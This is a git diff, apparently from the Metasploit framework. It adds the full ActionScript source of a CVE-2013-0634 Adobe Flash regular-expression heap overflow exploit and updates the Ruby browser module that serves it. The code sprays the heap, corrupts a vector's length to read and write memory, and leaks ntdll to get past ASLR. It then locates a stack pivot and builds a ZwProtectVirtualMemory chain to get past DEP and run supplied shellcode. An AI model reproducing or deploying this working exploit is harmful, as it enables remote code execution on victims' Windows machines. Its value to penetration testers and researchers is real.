diff --git a/data/exploits/CVE-2013-0634/exploit.swf b/data/exploits/CVE-2013-0634/exploit.swf index e27e217005..8ac09f8ec0 100755 Binary files a/data/exploits/CVE-2013-0634/exploit.swf and b/data/exploits/CVE-2013-0634/exploit.swf differ diff --git a/external/source/exploits/CVE-2013-0634/exploit.as b/external/source/exploits/CVE-2013-0634/exploit.as new file mode 100755 index 0000000000..4b028e54eb --- /dev/null +++ b/external/source/exploits/CVE-2013-0634/exploit.as @@ -0,0 +1,545 @@ +// Compile with: mxmlc exploit.as -o exploit.swf +package +{ + import flash.display.Sprite; + import flash.media.Sound; + import flash.utils.ByteArray; + import __AS3__.vec.Vector; + import flash.display.LoaderInfo; + import flash.system.Capabilities; + import flash.utils.Endian; + import __AS3__.vec.*; + import flash.utils.*; + import flash.display.*; + import flash.media.*; + import flash.system.*; + import flash.external.*; + import flash.net.*; + + public class exploit extends Sprite + { + public var flash_version:Number; + public var sound_object:Sound; + public var byte_array:ByteArray; + public var massaged_memory:Vector.; + public var vector_object_offset_4:uint; // For overwritting and restoring purposes; float in memory needs 8 bytes + public var TweakedVector:Vector.; + public var TweakedVector_address:uint; + public var sound_address:uint; + public var sound_address_vtable:uint; + public var sound_address_offset_4:uint; // For overwritting and restoring purposes; float in memory needs 8 bytes + public var byte_array_data_address:uint; + public var ntdll_base:uint; + public var ntdll_pe_file_header:uint; + public var stack_pivot:uint; + public var virtual_alloc_address:uint; + public var last_leaked_address:uint; + public var last_leak:Vector.; + + public function exploit():void + { + this.sound_object = new Sound(); + this.byte_array = new ByteArray(); + this.massaged_memory = new Vector.(0); + this.last_leak = new Vector.(2); + super(); + var loader:LoaderInfo = LoaderInfo(this.root.loaderInfo); + var shellcode:String = ((loader.parameters.hasOwnProperty("his")) ? loader.parameters["his"] : null); + if (shellcode == null){ + return; + }; + if (!this.CheckVersion()){ + return; + }; + this.ExploitIt(shellcode); + this.Restore(); + } + + public function CheckVersion():Boolean + { + var capabilities:* = Capabilities.version.toLowerCase().split(" "); + if (capabilities[0] != "win"){ + return (false); + }; + this.flash_version = Number(capabilities[1].substr(0, 4).split(",").join("")); + if ((((this.flash_version < 110)) && ((this.flash_version > 115)))){ + return (false); + }; + return (true); + } + + public function PrepareMemoryAndOverflow():RegExp + { + var index:uint; + var tmp_vector:Vector.; + index = 0; + + while (index < 0x4000) { + tmp_vector = new Vector.(16); + tmp_vector[0] = new RegExp("sdfhefbwjghfewtyfnwgvwgbvhwasfgsvrtvcrgeeg", ""); + tmp_vector[1] = this.CreateVectorSixteenNumbers(); + tmp_vector[2] = this.CreateVectorSixteenNumbers(); + tmp_vector[3] = this.CreateVectorSixteenNumbers(); + tmp_vector[4] = this.CreateVectorSixteenNumbers(); + tmp_vector[5] = this.CreateVectorSixteenNumbers(); + tmp_vector[6] = this.CreateVectorSixteenNumbers(); + tmp_vector[7] = this.CreateVectorSixteenNumbers(); + tmp_vector[8] = this.CreateVectorSixteenNumbers(); + tmp_vector[9] = this.CreateVectorThirtyTwoObjects(); + tmp_vector[10] = this.CreateVectorThirtyTwoObjects(); + tmp_vector[11] = this.CreateVectorThirtyTwoObjects(); + tmp_vector[12] = this.CreateVectorThirtyTwoObjects(); + tmp_vector[13] = this.CreateVectorThirtyTwoObjects(); + tmp_vector[14] = this.CreateVectorThirtyTwoObjects(); + tmp_vector[15] = this.CreateVectorThirtyTwoObjects(); + this.massaged_memory[index] = tmp_vector; + index++; + }; + index = 0x2000; + + // Make some holes + while (index < 0x3fff) { + if ((index % 2) != 0){ + this.massaged_memory[index][2] = null; + }; + index++; + }; + + // Hopefully reuse a hole and overflow a tmp_vector[3] field + return (new RegExp("(?i)()()(?-i)||||||||||||||||||||||", "")); + } + + public function SearchOverflowedTweakAndRestore():Boolean + { + var index:uint; + var numbers_vector_index:uint; + var overflowed_vector:Vector.; + var fingerprint:Number; + index = 0; + _loop_1: + while (index < 0x4000) { + numbers_vector_index = 1; + while (numbers_vector_index < 9) { + try { + // If the length is bigger than 17, the vector's length has been overflowed + if ((this.massaged_memory[index][numbers_vector_index] as Vector.).length > 17){ + overflowed_vector = (this.massaged_memory[index][numbers_vector_index] as Vector.); + if (this.ReadTwoUint(overflowed_vector, 17)[0] == 16) { + break _loop_1; + } + return (false); + }; + } catch(e:Error) { + }; + numbers_vector_index++; + }; + index++; + }; + + if (overflowed_vector){ + this.vector_object_offset_4 = this.ReadTwoUint(overflowed_vector, 17)[1]; + // Overwrite the length of the vector following the overflowed one: + // reused hole (vector) ==> overflowed vector ==> corrupted (tweaked) vector + overflowed_vector[17] = this.TwoUintToFloat(0xFFFFFFFE, this.vector_object_offset_4); + // corrupts the first position of the corrupted (tweaked) vector, so we can find it + // in the future easily. + fingerprint = (overflowed_vector[18] = this.TwoUintToFloat(0x41414141, 0)); + index = 0; + while (index < 0x4000) { + numbers_vector_index = 1; + while (numbers_vector_index < 9) { + try { + // restore the overflowed vector's length + if ((this.massaged_memory[index][numbers_vector_index] as Vector.)[0] == fingerprint){ + this.TweakedVector = (this.massaged_memory[index][numbers_vector_index] as Vector.); + this.TweakedVector[0x1fffffed] = this.TwoUintToFloat(16, this.vector_object_offset_4); + return (true); + }; + } catch(e:Error) { + }; + numbers_vector_index++; + }; + index++; + }; + }; + return (false); + } + + public function Restore():void + { + try { + if (((this.TweakedVector) && (this.vector_object_offset_4))){ + if (((this.sound_address) && (this.sound_address_vtable))){ + this.OverwriteAddress(this.sound_address, this.sound_address_vtable, this.sound_address_offset_4); + }; + this.TweakedVector[0x1fffffff] = this.TwoUintToFloat(16, this.vector_object_offset_4); + return; + }; + } catch(e:Error) { + }; + do { + } while (1); + } + + public function GetAddressTweakedVector():Boolean + { + var index:uint; + var index_numbers_vectors:uint; + var tweaked_next:Vector.; + var tweaked_next_next:Vector.; + try { + index = 0; + // Nullify (free) number vectors who aren't the tweaked one + while (index < 0x4000) { + index_numbers_vectors = 1; + while (index_numbers_vectors < 9) { + if (this.massaged_memory[index][index_numbers_vectors] != this.TweakedVector){ + this.massaged_memory[index][index_numbers_vectors] = null; + }; + index_numbers_vectors++; + }; + index++; + }; + index = 1; + while (index < 4) { + tweaked_next = this.ReadTwoUint(this.TweakedVector, ((17 * index) + (index - 1))); + tweaked_next_next = this.ReadTwoUint(this.TweakedVector, ((17 * (index + 1)) + index)); + // Verify that after the tweaked vector there are two more number vectors + // With the tweaked vector it is kinda easy to disclose its own address, becasuse + // Flash links vectors, so there are pointers. + if ((((((((((tweaked_next[1] == this.vector_object_offset_4)) && ((tweaked_next_next[1] == this.vector_object_offset_4)))) && ((tweaked_next[1] < tweaked_next[0])))) && ((tweaked_next_next[1] < tweaked_next_next[0])))) && (((tweaked_next_next[0] - tweaked_next[0]) == 144)))){ + this.TweakedVector_address = (tweaked_next[0] - (144 * (index + 1))); + return (true); + }; + index++; + }; + } catch(e:Error) { + }; + return (false); + } + + public function LeakObjectAddresses():Boolean + { + var one_signature:Number; + var i:uint; + var objects_leak:Vector.; + var byte_array_address:uint; + try { + one_signature = this.TwoUintToFloat(1, 1); // to match nil entries + i = 0; + while (i < 0x1000) { + // Search first objects vector entry from the tweaked one (from the massaged memory...) + if ((((this.ReadTwoUint(this.TweakedVector, i)[1] == 32)) && ((this.TweakedVector[(i + 1)] == one_signature)))){ + //objects_leak[0] => ByteArray object + //objects_leak[1] => Sound object + objects_leak = this.ReadTwoUint(this.TweakedVector, (i + 2)); + + this.sound_address = (objects_leak[0] & 0xFFFFFFF8); + this.sound_address_vtable = this.Leak(this.sound_address, true); + this.sound_address_offset_4 = this.Leak((this.sound_address + 4), true); + + byte_array_address = (objects_leak[1] & 0xFFFFFFF8); + + if (this.flash_version < 114){ + this.byte_array_data_address = this.Leak((byte_array_address + 56), true); + + } else { + byte_array_address = this.Leak((byte_array_address + 64), true); + this.byte_array_data_address = this.Leak((byte_array_address + 8), true); + }; + return (true); + }; + i++; + }; + } catch(e:Error) { + }; + return (false); + } + + public function Leak(address:uint, align:Boolean):uint + { + var eigth_byte_aligned:uint; + if (align) { + eigth_byte_aligned = ((((address % 8) == 0)) ? 0 : 1); + } else { + eigth_byte_aligned = 0; + } + if (eigth_byte_aligned){ + address = (address - 4); + }; + if (this.last_leaked_address == address){ + return (this.last_leak[eigth_byte_aligned]); + }; + var _local_3:uint = (((address - this.TweakedVector_address) - 8) / 8); + this.last_leaked_address = address; + this.last_leak = this.ReadTwoUint(this.TweakedVector, _local_3); + return (this.last_leak[eigth_byte_aligned]); + } + + public function OverwriteAddress(address:uint, value1:uint, value2:uint):void + { + var address_trough_tweaked:uint = (((address - this.TweakedVector_address) - 8) / 8); + this.TweakedVector[address_trough_tweaked] = this.TwoUintToFloat(value1, value2); + } + + public function LeakNtdll():Boolean + { + var ntdll_address:uint; + var KiFastSystemCall_address:uint; + var pe_file_header_address:uint; + try { + //KiFastSystemCallRet + KiFastSystemCall_address = this.Leak(0x7FFE0300, true); + if (KiFastSystemCall_address == 0){ + KiFastSystemCall_address = this.Leak(0x7ffe0340, true); + }; + if (KiFastSystemCall_address){ + KiFastSystemCall_address = (KiFastSystemCall_address & 0xFFFF0000); + while (1) { + if ((this.Leak(KiFastSystemCall_address, true) & 0xFFFF) == 0x5a4d){ // PE signature + ntdll_address = KiFastSystemCall_address; + break; + }; + KiFastSystemCall_address = (KiFastSystemCall_address - 65536); + }; + if (ntdll_address){ + pe_file_header_address = (ntdll_address + this.Leak((ntdll_address + 0x3c), true)); + if (this.Leak(pe_file_header_address, true) == 0x4550){ // NT Header + this.ntdll_base = ntdll_address; + this.ntdll_pe_file_header = pe_file_header_address; + return (true); + }; + }; + }; + } catch(e:Error) { + }; + return (false); + } + + public function GetUint(_arg_1:uint, _arg_2:uint, _arg_3:uint):uint + { + var _local_4:uint = (_arg_1 >>> (8 * _arg_3)); + var _local_5:uint = (((_arg_3 == 0)) ? 0 : (_arg_2 << ((4 - _arg_3) * 8))); + return ((_local_5 | _local_4)); + } + + public function FindStackPivot():Boolean + { + var ntdll_size_of_code:uint; + var ntdll_base_of_code:uint; + var instr:uint; + var offset:uint; + var next_instr:uint; + var instr_offset:uint; + try { + ntdll_size_of_code = this.Leak((this.ntdll_pe_file_header + 0x1c), true); + ntdll_base_of_code = this.Leak((this.ntdll_pe_file_header + 0x2c), true); + if (((ntdll_size_of_code) && (ntdll_base_of_code))){ + ntdll_base_of_code = (ntdll_base_of_code + this.ntdll_base); + instr = this.Leak(ntdll_base_of_code, true); + offset = 4; + while (offset < ntdll_size_of_code) { + next_instr = this.Leak((ntdll_base_of_code + offset), true); + instr_offset = 0; + while (instr_offset < 4) { + if ((this.GetUint(instr, next_instr, instr_offset) & 0xFFFF) == 0xc394){ // xcht esp, eax ; ret # 94 c3 + this.stack_pivot = (((ntdll_base_of_code + offset) - 4) + instr_offset); + return (true); + }; + instr_offset++; + }; + instr = next_instr; + offset = (offset + 4); + }; + }; + } catch(e:Error) { + }; + return (false); + } + + public function Match(address:uint, signature:Vector., offset:uint):Boolean + { + var content_next:uint; + var content:uint = this.Leak(address, true); + var i:uint; + while (i < signature.length) { + content_next = this.Leak((address + ((i + 1) * 4)), true); + if (this.GetUint(content, content_next, offset) != signature[i]){ + return (false); + }; + content = content_next; + i++; + }; + return (true); + } + + public function LeakVirtualProtect():Boolean + { + var exports_address:uint; + var virtual_protect_signature:Vector.; + var n_functions:uint; + var ptrs_entry:uint; + var ptrs_name:uint; + var ptrs_ordinal:uint; + var i:uint; + var export_name_entry:uint; + var offset_export_name_entry:uint; + var _local_10:uint; + + try { + exports_address = this.Leak((this.ntdll_pe_file_header + 0x78), true); // Export Data Directory Offset + if (exports_address){ + exports_address = (exports_address + this.ntdll_base); + virtual_protect_signature = new [0x7250775a, 0x6365746f, 0x72695674]; // ZwProtectVir ; It's searching for ZwProtectVirtualMemory + n_functions = this.Leak((exports_address + 24), true); + ptrs_entry = this.Leak((exports_address + 28), true); + ptrs_name = this.Leak((exports_address + 32), true); + ptrs_ordinal = this.Leak((exports_address + 36), true); + if (((((((n_functions) && (ptrs_entry))) && (ptrs_name))) && (ptrs_ordinal))){ + ptrs_entry = (ptrs_entry + this.ntdll_base); + ptrs_name = (ptrs_name + this.ntdll_base); + ptrs_ordinal = (ptrs_ordinal + this.ntdll_base); + i = 0; + while (i < n_functions) { + export_name_entry = this.Leak((ptrs_name + (i * 4)), true); + if (export_name_entry){ + export_name_entry = (export_name_entry + this.ntdll_base); + offset_export_name_entry = (export_name_entry % 4); + export_name_entry = (export_name_entry - offset_export_name_entry); + if (this.Match(export_name_entry, virtual_protect_signature, offset_export_name_entry)){ + _local_10 = this.Leak((ptrs_ordinal + ((i / 2) * 4)), false); + if ((i % 2)){ + _local_10 = (_local_10 >>> 16); + }; + + this.virtual_alloc_address = (this.ntdll_base + this.Leak((ptrs_entry + ((_local_10 & 0xFFFF) * 4)), true)); + return (true); + }; + }; + i++; + }; + }; + }; + } catch(e:Error) { + }; + return (false); + } + + public function ExploitIt(shellcode:String):void + { + var not_used:* = this.PrepareMemoryAndOverflow(); + if (!this.SearchOverflowedTweakAndRestore()){ + return; + }; + if (!this.GetAddressTweakedVector()){ + return; + }; + if (!this.LeakNtdll()){ + return; + }; + if (!this.FindStackPivot()){ + return; + }; + if (!this.LeakVirtualProtect()){ + return; + }; + var i:uint; + while (i < 0x19000) { + this.byte_array.writeUnsignedInt(0x41424344); + i++; + }; + this.byte_array.endian = Endian.LITTLE_ENDIAN; + var init_pos:uint = this.byte_array.position; + + // Write shellcode into the byte array + this.byte_array.position = (init_pos + 136); + this.write_into_byte_array(this.byte_array, shellcode); + + // Write stack pivot into the byte array + this.byte_array.position = (init_pos + 112); + this.byte_array.writeUnsignedInt(this.stack_pivot); + + if (!this.LeakObjectAddresses()){ + return; + }; + + this.byte_array_data_address = (this.byte_array_data_address + init_pos); + this.byte_array.position = init_pos; + + // build ZwProtectVirtualMemory "return to ntdll attack" to bypass DEP + this.byte_array.writeUnsignedInt(this.virtual_alloc_address); // ZwProtectVirtualMemory + this.byte_array.writeUnsignedInt((this.byte_array_data_address + 136)); // ret (shellcode address) + this.byte_array.writeUnsignedInt(0xFFFFFFFF); // ProcessHandle + this.byte_array.writeUnsignedInt((this.byte_array_data_address + 28)); // BaseAddress + this.byte_array.writeUnsignedInt((this.byte_array_data_address + 32)); // NumberOfBytesToProtect + this.byte_array.writeUnsignedInt(64); // NewAccessProtection + this.byte_array.writeUnsignedInt((this.byte_array_data_address + 36)); // OldAccessProtection + this.byte_array.writeUnsignedInt(this.byte_array_data_address); // this.byte_array_data_address + 28 + this.byte_array.writeUnsignedInt(0x1000); // this.byte_array_data_address + 32 + this.byte_array.writeUnsignedInt(0x41424344); // this.byte_array_data_address + 36 + + // Overwrite Sound... + this.OverwriteAddress(this.sound_address, this.byte_array_data_address, this.sound_address_offset_4); + + // Make it happen! + new Number(this.sound_object.toString()); + } + + private function write_into_byte_array(byte_array:ByteArray, string:String):void + { + var _local_4:String; + var _local_5:int; + var _local_3:int; + while (_local_3 < string.length) { + _local_4 = string.substr(_local_3, 2); + _local_5 = parseInt(_local_4, 16); + byte_array.writeByte(_local_5); + _local_3 = (_local_3 + 2); + }; + } + + private function TwoUintToFloat(_arg_1:uint, _arg_2:uint):Number + { + var result_float:ByteArray = new ByteArray(); + result_float.endian = Endian.LITTLE_ENDIAN; + result_float.writeInt(_arg_1); + result_float.writeInt(_arg_2); + result_float.position = 0; + return (result_float.readDouble()); + } + + // vector is a Float vectors + // index is the position to read from the vector + // read the vector[index] float i retorna els dos enters + // ocupant les dues posiciones + private function ReadTwoUint(vector:Vector., index:uint):Vector. + { + var byte_array:ByteArray = new ByteArray(); + byte_array.endian = Endian.BIG_ENDIAN; + byte_array.writeDouble(vector[index]); + var vector_uint:Vector. = new Vector.(2); + byte_array.position = 0; + vector_uint[1] = byte_array.readUnsignedInt(); + vector_uint[0] = byte_array.readUnsignedInt(); + return (vector_uint); + } + + private function CreateVectorThirtyTwoObjects():Vector. + { + var vector:* = new Vector.(32); + vector[0] = null; + vector[1] = null; + vector[2] = this.sound_object; + vector[3] = this.byte_array; + return (vector); + } + + private function CreateVectorSixteenNumbers():Vector. + { + var vector:* = new Vector.(16); + vector[0] = 0; + vector[15] = 1; + return (vector); + } + } +} \ No newline at end of file diff --git a/modules/exploits/windows/browser/adobe_flash_regex_value.rb b/modules/exploits/windows/browser/adobe_flash_regex_value.rb index a0920d4ca9..e9032b8442 100644 --- a/modules/exploits/windows/browser/adobe_flash_regex_value.rb +++ b/modules/exploits/windows/browser/adobe_flash_regex_value.rb @@ -12,20 +12,23 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info={}) super(update_info(info, - 'Name' => "Adobe Flash Player 11.5 Remote Memory Corruption", + 'Name' => "Adobe Flash Player Regular Expression Heap Overflow", 'Description' => %q{ This module exploits a vulnerability found in the ActiveX component of Adobe Flash Player before 11.5.502.149. By supplying a specially crafted swf file with special regex value, it is possible to trigger an memory corruption, which - results in remote code execution under the context of the user. This - vulnerability has also been exploited in the wild in February 2013. + results in remote code execution under the context of the user, as exploited in + the wild in February 2013. This module has been tested successfully with Adobe + Flash Player 11.5 before 11.5.502.149 on Windows XP SP3 and Windows 7 SP1 before + MS13-063, since it takes advantage of a predictable SharedUserData in order to + leak ntdll and bypass ASLR. }, 'License' => MSF_LICENSE, 'Author' => [ 'Unknown', # malware sample 'Boris "dukeBarman" Ryutin', # msf exploit - 'juan vazquez' # ActionScript deobfuscation + 'juan vazquez' # ActionScript deobfuscation and cleaning ], 'References' => [ @@ -45,7 +48,8 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'migrate -f', + 'Retries' => false }, 'Platform' => 'win', 'BrowserRequirements' => @@ -66,38 +70,52 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultTarget' => 0)) end - def on_request_exploit(cli, request, target_info) - print_status("request: #{request.uri}") - if request.uri.match(/\.swf$/i) - print_status("Sending SWF") - send_response(cli, generate_swf, { 'Content-Type'=>'application/x-shockwave-flash' }) - else - print_status("Sending HTML") - send_response_html(cli, generate_html(target_info)) - end + def exploit + @swf = create_swf + super end - def generate_html(target_info) + def on_request_exploit(cli, request, target_info) + print_status("Request: #{request.uri}") + + if request.uri =~ /\.swf$/ + print_status("Sending SWF...") + send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'}) + return + end + + print_status("Sending HTML...") + tag = retrieve_tag(cli, request) + profile = get_profile(tag) + profile[:tried] = false unless profile.nil? # to allow request the swf + send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) + end + + def exploit_template(cli, target_info) + + swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" shellcode = get_payload(cli, target_info).unpack("H*")[0] - %Q| + html_template = %Q| - + - + | + + return html_template, binding() end - def generate_swf + def create_swf path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2013-0634", "exploit.swf" ) swf = ::File.open(path, 'rb') { |f| swf = f.read } - return swf + swf end end